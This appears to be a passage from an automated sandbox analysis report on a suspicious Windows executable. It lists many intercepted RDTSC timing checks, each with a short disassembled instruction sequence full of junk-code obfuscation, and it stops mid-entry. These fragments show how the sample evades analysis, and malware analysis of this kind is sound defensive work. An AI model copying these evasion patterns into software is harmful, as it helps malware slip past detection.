Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA0E1F second address: 4AA0E39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7025350AC6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA0E90 second address: 4AA0EAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 07h 0x00000005 mov bx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F7096C73000h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F7024DCF51Bh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AB0A6E second address: 4AB0A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AB0A72 second address: 4AB0A82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF51Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AB0C17 second address: 4AB0C38 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov cx, 11E1h 0x0000000a popad 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7025350AC3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AB0C38 second address: 4AB0C5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF529h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f mov ch, BFh 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AB0CA4 second address: 4AB0CBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7025350AC4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AB0CBC second address: 4AB0CC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5C1E430 second address: 5C1E434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5D939D1 second address: 5D939D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5D939D9 second address: 5D939F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7025350AC5h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5D939F4 second address: 5D939F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5D93FB5 second address: 5D93FDA instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7025350AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007F7025350ACBh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5D93FDA second address: 5D93FE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5D93FE0 second address: 5D93FE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5D93FE4 second address: 5D93FFE instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7024DCF516h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jc 00007F7024DCF51Ah 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5D94179 second address: 5D94186 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7025350AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5D97609 second address: 5D97657 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7024DCF518h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F7024DCF521h 0x00000013 push edi 0x00000014 jmp 00007F7024DCF51Ch 0x00000019 pop edi 0x0000001a popad 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f jmp 00007F7024DCF520h 0x00000024 mov eax, dword ptr [eax] 0x00000026 push eax 0x00000027 push edx 0x00000028 push ebx 0x00000029 jns 00007F7024DCF516h 0x0000002f pop ebx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5D97657 second address: 5D9765C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5D976E2 second address: 5D976E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5D976E6 second address: 5D9779E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7025350ABBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F7025350ACEh 0x0000000f popad 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F7025350AB8h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b mov di, cx 0x0000002e push 00000000h 0x00000030 mov edx, dword ptr [ebp+122D3A08h] 0x00000036 push 103EA214h 0x0000003b jmp 00007F7025350ABAh 0x00000040 xor dword ptr [esp], 103EA294h 0x00000047 push ecx 0x00000048 call 00007F7025350AC3h 0x0000004d mov dword ptr [ebp+122D3428h], edi 0x00000053 pop esi 0x00000054 pop edi 0x00000055 push 00000003h 0x00000057 xor dword ptr [ebp+122D2C18h], edx 0x0000005d push 00000000h 0x0000005f push 00000003h 0x00000061 mov esi, dword ptr [ebp+122D39ECh] 0x00000067 call 00007F7025350AB9h 0x0000006c push esi 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007F7025350ABCh 0x00000074 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5D9779E second address: 5D977BE instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7024DCF516h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 jmp 00007F7024DCF51Eh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5D977BE second address: 5D9781A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7025350ABCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f jg 00007F7025350AB8h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 push edx 0x00000018 jmp 00007F7025350AC4h 0x0000001d pop edx 0x0000001e popad 0x0000001f mov eax, dword ptr [eax] 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 jmp 00007F7025350ABEh 0x00000029 jmp 00007F7025350AC4h 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5D9781A second address: 5D97820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5D97820 second address: 5D97824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5D97824 second address: 5D97842 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7024DCF520h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5D97842 second address: 5D9784C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F7025350AB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5D9790E second address: 5D97933 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7024DCF516h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov dword ptr [esp], eax 0x0000000e mov di, ACCEh 0x00000012 push 00000000h 0x00000014 mov dword ptr [ebp+122D347Ch], ebx 0x0000001a push E7D6352Eh 0x0000001f push eax 0x00000020 push edx 0x00000021 push ecx 0x00000022 push eax 0x00000023 pop eax 0x00000024 pop ecx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DB6291 second address: 5DB6297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DB6297 second address: 5DB629F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DB629F second address: 5DB62A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DB6763 second address: 5DB6786 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 jmp 00007F7024DCF51Dh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d je 00007F7024DCF53Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 jnc 00007F7024DCF516h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DB68B5 second address: 5DB68CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7025350ABDh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DB7144 second address: 5DB7161 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF529h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DB7161 second address: 5DB7169 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DB72A0 second address: 5DB72AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F7024DCF516h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DB72AC second address: 5DB72B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DB72B1 second address: 5DB72C0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7024DCF51Ah 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DB72C0 second address: 5DB72C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5D7B2C2 second address: 5D7B2C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5D7B2C6 second address: 5D7B2CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DB7567 second address: 5DB756E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DBA889 second address: 5DBA8A1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jc 00007F7025350AB6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push esi 0x00000014 pop esi 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DBA8A1 second address: 5DBA8CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF522h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7024DCF521h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DBA8CD second address: 5DBA8ED instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7025350AC8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DBA8ED second address: 5DBA8FE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DBA8FE second address: 5DBA902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DBA902 second address: 5DBA908 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DBA908 second address: 5DBA90D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DB97FE second address: 5DB981C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF526h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DBAA56 second address: 5DBAA79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7025350AC6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DBAA79 second address: 5DBAA7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DBABC1 second address: 5DBABC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DBF275 second address: 5DBF279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DC0748 second address: 5DC0750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DC0750 second address: 5DC0755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DC0755 second address: 5DC0766 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7025350ABCh 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5D81E8C second address: 5D81E92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5D81E92 second address: 5D81E96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5D81E96 second address: 5D81EA0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DC342B second address: 5DC3468 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jg 00007F7025350AB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f jc 00007F7025350AB6h 0x00000015 pop eax 0x00000016 jmp 00007F7025350ABDh 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F7025350AC8h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DC3744 second address: 5DC3753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jbe 00007F7024DCF516h 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DC3753 second address: 5DC375D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DC5875 second address: 5DC58EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F7024DCF528h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d add dword ptr [esp], 43882CBEh 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007F7024DCF518h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e pushad 0x0000002f call 00007F7024DCF51Eh 0x00000034 or eax, 1E36A8B6h 0x0000003a pop ebx 0x0000003b sub dword ptr [ebp+12478C2Dh], ecx 0x00000041 popad 0x00000042 call 00007F7024DCF519h 0x00000047 pushad 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DC5D6B second address: 5DC5D71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DC5D71 second address: 5DC5D75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DC5D75 second address: 5DC5D93 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7025350AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push edi 0x0000000f jno 00007F7025350AB6h 0x00000015 pop edi 0x00000016 push eax 0x00000017 push edx 0x00000018 jnl 00007F7025350AB6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DC5D93 second address: 5DC5D97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DC5F2A second address: 5DC5F2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DC5F2E second address: 5DC5F34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DC614B second address: 5DC614F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DC66B2 second address: 5DC66BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F7024DCF516h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DC6B16 second address: 5DC6B3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7025350AC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F7025350AB8h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DC7073 second address: 5DC7078 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DC79B7 second address: 5DC79BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DC79BD second address: 5DC79E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF524h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007F7024DCF516h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DC78E9 second address: 5DC78ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DC78ED second address: 5DC78F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DCA065 second address: 5DCA06F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F7025350AB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DCA06F second address: 5DCA07D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DCA07D second address: 5DCA082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DCA082 second address: 5DCA0E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF529h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jc 00007F7024DCF518h 0x00000010 mov edi, ecx 0x00000012 movsx esi, si 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007F7024DCF518h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 00000018h 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 mov si, EDEFh 0x00000035 push 00000000h 0x00000037 or dword ptr [ebp+122D2E95h], eax 0x0000003d mov edi, dword ptr [ebp+122D3AF4h] 0x00000043 push eax 0x00000044 pushad 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DCAC49 second address: 5DCAC4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 5DCAC4D second address: 5DCACBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 jmp 00007F7024DCF528h 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F7024DCF518h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000018h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c push ecx 0x0000002d sbb edi, 14209670h 0x00000033 pop esi 0x00000034 mov edi, dword ptr [ebp+122D1D6Eh] 0x0000003a xchg eax, ebx 0x0000003b jmp 00007F7024DCF51Ah 0x00000040 push eax 0x00000041 pushad 0x00000042 push ecx 0x00000043 js 00007F7024DCF516h 0x00000049 